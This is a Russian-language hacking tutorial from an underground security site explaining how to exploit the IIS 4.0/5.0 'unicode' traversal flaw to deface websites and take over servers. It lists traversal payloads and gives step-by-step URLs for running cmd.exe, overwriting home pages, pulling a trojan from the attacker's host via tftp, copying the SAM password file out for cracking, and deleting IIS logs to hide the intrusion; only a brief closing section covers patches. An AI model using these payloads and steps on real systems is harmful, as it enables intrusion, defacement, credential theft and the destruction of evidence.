Underground InformatioN Center [&zametki] 
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]

Уязвимость "unicode" Internet Information Server 4.0/5.0
или
Как делаются "deface"


   Эта статья посвящена уязвимости "unicode" в Internet Information Server(IIS) 4.0/5.0 на платформах MS Windows NT/2000. Здесь вы узнаете, как с помощью этой уязвимости получить полный контроль над удаленным сервером, а также как защититься от подобной атаки.

Теория
   "Unicode" - это уязвимость в веб-сервере Internet Information Server(IIS) 4.0/5.0, которая позволяет удаленному пользователю выполнять операции над файлами со своими ограниченными правами, что может в основном использоваться для deface(изменение главной страницы) сайта и получения контроля над сервером. Самое удивительное в этой уязвимости то, что контроль над сервером может получить любой, кто умеет пользоваться браузером MS Internet Explorer и обладает элементарными навыками работы в среде MS Windows 9x. Общий внешний вид уязвимости выглядит так:
http://веб-адрес/директория_с_правами_на_выполнение/код/путь_к_исполняемому файлу?/c+команда+параметры+путь
Теперь описание всей этой строки:

1) Веб-адрес
   Это адрес веб-сайта с уязвимостью "unicode" в IIS.
Как же в Интернете найти сайты с такой уязвимостью?
Очень просто, как и всё в Интернете уязвимые сайты можно найти также, т. е. через поисковую систему. Я рекомендую для поиска www.google.com и www.altavista.com, хотя, подойдут любые поисковики, которые имеют функцию - расширенный поиск.
Что же надо искать?
Запрос надо ставить на нахождение "директорий с правами на выполнение" в адресе страницы.

2) Директория с правами на выполнение
   Вот небольшой список возможных директорий с правами на выполнение:
msadc
scripts
cgi-bin
_vti_bin
PBServer
Rpc
samples
iisadmpwd
_vti_cnf
adsamples


Существует намного больше директорий, но их существование зависит от настроек системы.

3) Код
   С кодом задача намного сложнее, т.е. существует очень много вариантов реализации кода, так как он зависит даже от языка версии IIS.
Вот варианты реализации кода:
/..%c0%af../..%c0%af../..%c0%af../
/..%255c../..%255c../..%255c../
/..%255c..%255c..%255c..%255c
/..%252f..%252f..%252f..%252f
/..%%35c../..%%35c../..%%35c../
/..%%35%63../..%%35%63../..%%35%63../
/..%25%35%63../..%25%35%63../..%25%35%63../
/..%%35c..%%35c..%%35c..%%35c
/..%%35%63..%%35%63..%%35%63
/..%25%35%63..%25%35%63..%25%35%63
/..%%35c..%%35c..%%35c..%%35c..%%35c../
/..%C1%1C..%C1%1C..%C1%1C..%C1%1C
/..%C0%AF..%C0%AF..%C0%AF..%C0%AF
/..%1c%0a../
и др.


Специально для вас я создал файл - список с возможными модификациями, который вы сможете присоединить к DCS(D@mned CGI Scanner).

4) Путь к исполняемому файлу
   Для начала советую использовать путь такого вида: /winnt/system32/cmd.exe, дабы получить возможность исполнять ДОС-команды(copy, type и др.) на удаленном компьютере. Другие исполняемые файлы и подробный обзор использования DOS-команд, которые могут пригодится для deface или для получения контроля над удаленным компьютером рассмотрены ниже.

5) Параметры
   Это не обязательная составляющая адреса, но при использовании некоторых "исполняемых файлов" очень полезна.

6) Путь
   Тоже не обязателен для некоторых "исполняемых файлов", но часто используется, например вот тут:
http://web-server/_vti_bin/..%c0%af../..%c0%af../..%c0%af.. /winnt/system32/cmd.exe?/c+dir+c:\ - в результате выполнения этой строки вы получите листинг диска С:

Directory of c:\

25.04.01  14:20         <DIR>            Backup
16.03.01  19:14         <DIR>            Clients
17.04.98  06:32                        0 CONFIG.SYS
12.07.01  13:39                  119 787 dining_odbc.zip
13.07.01  14:37         <DIR>            InetPub
19.11.00  17:55                    4 665 mpssetup.log
16.08.99  12:33         <DIR>            MSSQL
16.09.01  18:36              213 815 296 pagefile.sys
08.06.01  22:12         <DIR>            php405
31.05.01  13:55         <DIR>            PriceListCopy
30.03.01  18:49         <DIR>            Program Files
23.09.99  13:04                   24 848 snmpapi.dll
16.09.01  17:52         <DIR>            TEMP
31.10.00  20:48         <DIR>            Tool
05.09.01  09:24         <DIR>            WINNT
                  15 File(s)    213 964 596 bytes
                              2 837 853 696 bytes free

Взлом
   После того как:
- был найден сайт с "уязвимостью";
- была выбрана "директория с правами на выполнение";
- был подобран "код" уязвимости;
- был получен "листинг" диска С;
Переходим ко второй части - взлом.

1) Для начала надо выяснить примерное "дерево" каталогов и дисков, перебирая различные "пути" в адресе:
...winnt/system32/cmd.exe?/c+dir+c:\
...winnt/system32/cmd.exe?/c+dir+d:\
...winnt/system32/cmd.exe?/c+dir+e:\
и т.д.

Также, я хочу обратить ваше внимание на то, что имена файлов и папок в командах должны быть представлены не длинными именами, а именами из 8 символов, например:
папка Program Files будет выглядеть как Progra~1, а соответственно листинг папки Program Files, выглядит так:
.../winnt/system32/cmd.exe?/c+dir+c:\progra~1
Если в имени папки есть пробел, то пробел удаляется, например, папка The Bat! будет выглядеть как TheBat! или папка Web Publish будет выглядеть как WebPub~1.

В первую очередь, надо разобраться с местонахождением папки Inetpub - эта папка является, по умолчанию, папкой IIS, в ней находятся такие папки:


Directory of c:\inetpub

13.07.01 14:37 <DIR>  .
13.07.01 14:37 <DIR>  ..
16.02.01 15:56 <DIR> FTPRoot    - каталог, который доступен по FTP
04.04.00 18:22 <DIR> Mailroot   - каталог, с которым работает почта
09.09.01 00:03 <DIR> scripts    - каталог встроенных скриптов
08.02.00 21:48 <DIR> iissamples - каталог содержащий примеры скриптов IIS
04.04.00 18:22 <DIR> db         - каталог, который скорее всего содержит 
                                        базы даных
16.09.01 20:07 <DIR> wwwroot    - каталог с веб-сайтом или несколькими
                                        веб сайтами*
          6 File(s)     0 bytes
                        2 837 853 696 bytes free
* многие размещают на одном сервере несколько веб-сайтов определить это можно интуитивно, так как в каталоге wwwroot будут находиться папки типа:
server.com
www.server.org

Но не обязательно в них будет присутствовать www или расширение(.com, .org, .net и др.), они могут выглядеть и так:
ivanov
server
hostcom

и др. варианты, проще их определять по содержанию, а затем подставлять в адресной строке.

Также надо заметить, что папка с сайтом не обязательно имеет имя wwwroot, так как wwwroot - это папка по умолчанию, поэтому надо тщательно изучить все диски удаленного компьютера и его папки на наличии файлов стартовых страниц:
index.htm
index.html
default.htm
default.html
home.htm
home.html
default.asp
index.asp

и др.

Но если папок и дисков много, а папка с сайтом неизвестно где, и вы знаете, что на сервере установлен PHP, то просто пишем в адресной строке:
http://www.server.com/bla.php,
и в результате получаем ответ такого вида:
Warning: Failed opening 'C:\InetPub\wwwroot\bla.php' for inclusion (include_path='c:/temp') in Unknown on line 0,
отсюда вывод, что папка с веб-сайтом - "C:\InetPub\wwwroot".
Но так как, PHP установлен не у всех, то есть более простой способ выяснить местонахождение директории с веб-сайтом:
Для этого используем команду SET в таком виде:
...winnt/system32/cmd.exe?/c+set+p
В результате мы получили вывод такого вида:
Path=C:\WINNT\system32;C:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=c:\inetpub\wwwroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0703

Особое внимание стоит уделить строке PATH_TRANSLATED - в ней и содержится путь к директории веб-страницы: c:\inetpub\wwwroot.

2) Теперь вы идете в каталог с веб-сайтом и смотрите, что там есть и ищете главную страницу, чтобы просмотреть ее содержание или любого другого текстового файла можно использовать команду TYPE, пример использования:
...winnt/system32/cmd.exe?/c+type+c:\inetpub\wwwroot\index.html
...winnt/system32/cmd.exe?/c+type+c:\inetpub\wwwroot\base.tx?

Если заменять последний символ ? или * то файл выводится полностью и без строчки:
"CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:"

3) Самое интересное - как заменить главную страницу сайта на свою или проще говоря - сделать deface.
В первую очередь не пытайтесь набирать:
...winnt/system32/cmd.exe?/c+echo+Text+>c:\inetpub\wwwroot\index.html
Это не будет работать!
Чтобы все-таки закончить свое дело вам надо скопировать файл cmd.exe в какую-нибудь другую папку, где разрешена запись и есть права на выполнение, например в директорию с правами на выполнение или в корень папки сайта. Делается это так:
...winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\ wwwroot\cmd1.exe
или
...winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub \wwwroot\_vti_bin\cmd1.exe
После выполнения команды адрес на много уменьшился, так как теперь можно не писать "код", а писать только: http://web-server/cmd1.exe?/c+dir+c:\ (далее будет рассмотрена работа с этим вариантом)
или соответственно:
http://web-server/_vti_bin/cmd1.exe
Теперь мы можем создавать файлы!

Пример создания файла:
http://web-server/cmd1.exe?/c+echo+Text+>c:\inetpub\wwwroot\index.html - в этом случае старый текст заменяется на новый: "Text" , чтобы дополнить уже существующий файл, используем >> в адресе, пример:
http://web-server/cmd1.exe?/c+echo+Text1+>>c:\inetpub\wwwroot\index.html
Можно считать deface законченным и рисовать еще одну звездочку на корпусе своего компьютера.
НО!!! То что получилось обычный "плайнтекст", а это даже не красиво, поэтому сейчас я расскажу, как можно закачать свои файлы на удаленный сервер и конечно же получить полную власть над компьютером.

Метод №1:
   В стандартных утилитах MS Windows NT/2000 есть очень интересная утилитка - tftp.exe, расположена она в папке: winnt\system32\tftp.exe. Эта утилитка обеспечивает обмен файлами по протоколу Trivial File Transfer Protocol. Имеет она следующие параметры запуска:
TFTP [-I] сервер [GET | PUT] файл [путь]
-I - параметр указывает что вы будете передавать бинарный файл(проще говоря не текстовый файл), если этот параметр не указан, тогда происходит передача текстового файла.
сервер - это IP-адрес или DNS имя сервера TFTP. Тут будет ваш IP-адрес, а как программу-сервер я рекомендую:
- Cisco TFTP Server v.1.1, скачать здесь.
- Tftpd32 v.2.0, скачать здесь или скачать с нашего сервера здесь (54Кб).
- WrTFTP, скачать здеь.
get - команда, указывающая, что вы хотите загружать с заданного сервера файл на удаленный компьютер
put - команда, указывающая, что вы хотите отправить файл с удаленного компьютера на сервер
файл - имя файла который вы хотите отправить/получить.
путь - путь к каталогу в который вы хотите загрузить файл с сервера.

Теперь как это будет выглядеть с использованием IIS unicode уязвимости (учитывая все вышевыполненые операции):
http://web-server/cmd1.exe?/c+c:\winnt\system32\tftp.exe+"-i"+195.239.4.1+ get+trojan.exe+c:\inetpub\wwwroot\trojan.exe
или вот так если вы загружаете HTML-файл:
http://web-server/cmd1.exe?/c+c:\winnt\system32\tftp.exe+195.239.4.1+get+ index.html+c:\inetpub\wwwroot\index.html
вернемся к первому случаю, когда мы смогли загрузить свою программу на удаленный компьютер, эта программа может оказаться и Trojan/Backdoor, с помощью него мы и можем получить полный контроль над машиной. Чтобы запустить закачанную вами программу просто пишем в адресе:
http://web-server/trojan.exe
Если файл вдруг начал скачиваться, значит данная папка не имеет прав на выполнение, попробуйте скопировать файл в другую папку, например в "cgi-bin" или "scripts" (если такие имеются), хотя такое встречается, когда папка имеет права на выполнение и чтение, попробуйте такой вариант:
http://web-server/trojan.exe?/c
А теперь дело техники, и умения работать с закачанным трояном.

Метод №2:
   Часто администраторы веб-серверов создают FTP доступ свои клиентам к их сайтам, т.е. вам надо найти какой-либо FTP-сервер, а затем, получив файл с паролями, расшифровать его и получить доступ к сайту через FTP.
Я очень часто встречал FTP-сервер: Serv-U FTP, вот пара слов о нем:
Этот сервер сохраняет пароли в файле serv-u.ini, который расположен в папке с программой. Пароли в нем зашифрованы в DES, который dам поможет расшифровать программа - John The Ripper, где скачать эту программку вы можете узнать здесь. Информацию о других уязвимых FTP-серверах вы сможете найти на SecurityFocus.com

Метод №3:
   Вам надо узнать логин и пароль системного администратора или других пользователей имеющих доступ к папке с сайтом. Для этого вам надо получить файл SAM(%windir%\system32\config\sam) - в нем MS Windows NT/2000 сохраняет пароли доступа в систему, а backup-копия его находится в папке: winnt\repair\sam._. Чтобы получить файл вы должны скопировать этот файл в каталог с веб-сайтом, например таким образом:
http://web-server/cmd1.exe?/c+copy+c:\winnt\repair\sam._+c:\inetpub \wwwroot\sam._
А теперь просто загрузите его набрав в адресной строке:
http://web-server/sam._
Еще стоит уделить внимание интересной папке _private, которая по умолчанию является открытой для записи.
После того как вы загрузили этот файл, расшифровать его можно будет с помощью программы - L0phtCrack+ 2.521.

Заметаем следы
   После того как все выше приведенные действия выполнены, надо замести за собой следы - удалить логи. А хранятся они в папке:
%windir%\SYSTEM32\LogFiles
Здесь вы увидите, что-то похожее на:

Directory of c:\winnt\system32\logfiles

09/23/01 12:00 <DIR> .
09/23/01 12:00 <DIR> ..
09/22/01 18:03 <DIR> SMTPSVC1 - статистика работы с почтой
07/29/01 22:14 <DIR> FTPSVC1  - статистика работы по FTP
09/28/01 19:59 <DIR> W3SVC1   - статистика обращений к серверу по HTTP
Чтобы "замести" следы вам нужно удалить содержимое необходимой папки, например так:
http://web-server/cmd1.exe?/c+del+c:\winnt\system32\logfiles\w3svc1\*.*
или так:
http://web-server/cmd1.exe?/c+del+c:\winnt\system32\logfiles\w3svc1\*.log

Но так как "логи", которые ведутся в данный момент удалить нельзя по причине их использования самим IIS, то можно используя загруженный троян почистить "логи" на следующий день.

Защита
   Все, теперь вы знаете, как может быть взломан IIS сервер через уязвимость "unicode". Сейчас я расскажу, как можно защититься от подобной атаки.
Microsoft отличается большим кол-вом "дыр" в своем ПО, но также она отличается быстрым их латанием, поэтому советую иногда посещать страницы сайта TechNet Online.
Там и можно найти патчи которые закрывают уязвимость "unicode" в IIS:
Патч для IIS 4.0 - http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
Патч для IIS 5.0 - http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764

Дополнение
Средства для автоматизации проверки IIS на уязвимость "unicode":
IIStorm 2.0 - симпатичная программка под MS Windows для тестирования веб-сервера. Имеет очень много настроек.
Спецально для вас я собрал возможные модификации уязвимостей в файл-список для DCS (D@mned CGI Scanner). Всего: 638 модификации. Скачать список здесь (Скачано 7891 раз).
DCS 2.1 - сканер CGI-уязвимостей.
Perl-скрипт для проверки наличия уязвимости "unicode" можно взять здесь.

ВНИМАНИЕ: Программа L0phtCrack+ 2.521 бесплатна, однако веб страничка этой программы имеет плохой канал в Европу поэтому если у вас возникают проблеммы со скачиванием этой версии, вы можете скачать платную версию L0phtCrack(оригинал) здесь.

[c] Заключенный (icq# 97482821)
[c]uinC

Статья написана специально для UInC (http://www.uinc.ru).

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.


[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]
 Underground InformatioN Center [&zametki] 
2000-2015 © uinC Team